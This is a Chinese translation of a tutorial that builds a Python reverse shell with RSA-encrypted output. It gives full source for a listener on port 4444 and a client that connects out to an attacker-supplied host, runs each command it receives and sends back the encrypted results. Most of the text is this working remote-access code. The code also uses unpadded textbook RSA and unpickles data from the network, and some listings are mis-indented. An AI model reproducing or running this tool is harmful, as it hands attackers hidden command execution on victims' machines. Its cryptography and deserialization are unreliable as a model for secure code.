1. 程式人生 > >使用RSA加密在Python中逆向shell

使用RSA加密在Python中逆向shell

i春秋翻譯小組-Neo(李皓偉)

使用RSA加密在Python中逆向shell

這是一個關於使用RSA加密程式設計逆向shell的python教程。 我想提一下,這篇文章更多的是關於理解shell中涉及的加密而不是shell本身。 github的連結是https://github.com/ca10x/RSA-reverse-shell

偵聽器

首先,我們需要一個偵聽器來處理所有傳入的連線。 這是listener_rsa.py的程式碼

  1.   #!/usr/bin/python
  2.    
  3.   from Crypto.PublicKey import RSA
  4.   from Crypto import Random
  5.   from Crypto.Hash import SHA256
  6.   import socket
  7.   from thread import *
  8.   import sys
  9.   import pickle
  10.    
  11.   # Generate public key and private key
  12.    
  13.   random_generator = Random.new().read
  14.   key = RSA.generate(2048, random_generator)
  15.   public_key = key.publickey()
  16.    
  17.   # Create socket and bind to accept connections
  18.    
  19.   s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)
  20.   try:
  21.       s.bind(( "0.0.0.0", 4444))
  22.   except socket.error, v:
  23.       print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
  24.       sys.exit()

​   

  1.   print "Socket bind complete"
  2.    
  3.   s.listen( 2)
  4.   print "[+] Listening to the incoming connection on port 4444..."
  5.    
  6.   def clientthread_sendpublickey(client) :
  7.       client.send(pickle.dumps(public_key))
  8.    
  9.   def clienthandle(client) :
  10.       while True :
  11.           command = raw_input( '~$ ')
  12.           client.send(command)
  13.            if command == 'quit' :
  14.               break
  15.           buf = client.recv( 2048)
  16.           encreply = pickle.loads(buf)
  17.            print key.decrypt(encreply)
  18.    
  19.   while True:
  20.       (client, (ip, port)) = s.accept()
  21.       print "Received connection from : ", ip
  22.       start_new_thread(clientthread_sendpublickey, (client,))
  23.       print "Public Key sent to", ip
  24.   start_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模組進行加密。 繼續安裝它。 我建議使用pip來安裝模組。

$ sudo pip install pycrypto

在我們進入程式碼之前,讓我向你解釋一下RSA加密及其金鑰。 RSA是一種非對稱加密標準。 它有兩個鍵,公共和私有。 簡單來說,公鑰用於加密訊息,私鑰用於解密。 下面是描述該過程的框圖

如果你對RSA的數學工作感興趣,那麼我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)

在上面的程式中,首先生成金鑰,該金鑰也是私鑰。

key = RSA.generate(2048, random_generator)

函式RSA.generate有兩個引數,第一個是以位為單位的金鑰的大小,第二個是通常使用python隨機函式生成的隨機數。 在建立私鑰之後,從中提取公鑰並將其儲存在變數中以供將來使用。

public_key = key.publickey()

使用套接字模組建立套接字,這相對簡單。 你可以參考Python套接字1的官方文件,甚至可以進行簡單的Google搜尋。

套接字繫結並等待連線傳入連線。

注 - 如果要將Linux中的套接字繫結到小於1024的埠,則必須以root身份執行該指令碼。

當收到連線時,初始化新執行緒以將生成的公鑰傳送到客戶端,以便它可以加密回覆。

  1.   def clientthread_sendpublickey(client) :
  2.   client.send(pickle.dumps(public_key))

我們為什麼要用Pickle? Pickle用於序列化和反序列化python物件。 由於public_key不是常規字串,因此必須對其進行pickle,然後將其傳送到接收方。

警告 - pickle模組不能防止錯誤或惡意構造的資料。 切勿取消從不受信任或未經身份驗證的來源收到的資料。

一旦傳送了公鑰,另一個執行緒clienthandle(客戶端)被初始化為True:loop,它傳送給接收者的命令。 接收器執行命令並使用公鑰加密輸出。 然後將輸出的pickle傳送給監聽器。

回覆是unpickled,使用私鑰解密並列印在螢幕上。

  1.   encreply = pickle.loads(buf)
  2.   print key.decrypt(encreply)

如果給出'quit'命令,則終止連線。

反向shell

讓我們轉到反向shell所在的接收器端。 reverse_shell_rsa的指令碼如下所示

  1.   #!/usr/bin/python
  2.    
  3.   import socket, subprocess, sys
  4.   from Crypto.PublicKey import RSA
  5.   from Crypto.Hash import SHA256
  6.   import pickle

​   

  1.   RHOST = sys.argv[ 1]
  2.   RPORT = 4444
  3.    
  4.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5.   s.connect((RHOST, RPORT))
  6.    
  7.   def receive_key():
  8.      data_key = s.recv( 1024)
  9.       return data_key
  10.    
  11.   pickled_publickey = receive_key()
  12.   public_key = pickle.loads(pickled_publickey)

​   

  1.   while True :
  2.       command = s.recv(1024)
  3.       if command == 'quit' :
  4.             break
  5.       reply = subprocess.Popen(str( command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  6.       stdout, stderr = reply.communicate()
  7.       en_reply = public_key.encrypt(stdout, 32)
  8.       s.send(pickle.dumps(en_reply))
  9.    
  10.   s.close()

一如既往,匯入必要的模組。 要連線的IP地址作為引數提供,並存儲在RHOST變數中。 建立套接字並與伺服器(偵聽器)建立連線。 一旦接受連線,伺服器就會發送公鑰(在listener.py指令碼中向上滾動到clientthread_sendpublickey()),該公鑰通過函式receive_key()接收並去除(記住pickling?)以獲取公鑰。

  1.   def receive_key():
  2.   data_key = s.recv( 1024)
  3.   return data_key
  4.    
  5.   pickled_publickey = receive_key()
  6.   public_key = pickle.loads(pickled_publickey)

一段時間初始化True迴圈以保持連線的永續性並接收命令。 如果命令是“退出”,則節目結束。 否則,給定的命令作為子程序和標準輸出執行,標準錯誤通過管道傳遞給變數'reply'。 然後使用公鑰對標準輸出進行加密,pickling併發送到伺服器。

  1.   en_reply = public_key.encrypt( stdout, 32)
  2.   s.send(pickle.dumps(en_reply))

然後耐心等待,直到下一個命令。

重要的提示

這種方法是'教科書RSA'的實現。 對於真實世界的實現,你必須新增填充,例如PKCS1_OAEP。

RSA速度慢很多,一次只能加密256個位元組。 你為什麼問? 因為n的值是2048和2048/8 = 256.如果新增填充,閾值將降低,因為它佔用了更多的位元組。

解決方法是RSA應該通過AES使用。

我將在下一篇文章中解釋這個概念。 由於這是我的第一篇文章,歡迎並感謝你的反饋。

新年快樂的人們!

問候,

作者: Cal0X

翻譯:i春秋翻譯小組-Neo(李皓偉)

責任編輯:F0rmat

翻譯來源:https://0x00sec.org/t/reverse-shell-in-python-with-rsa-encryption/1414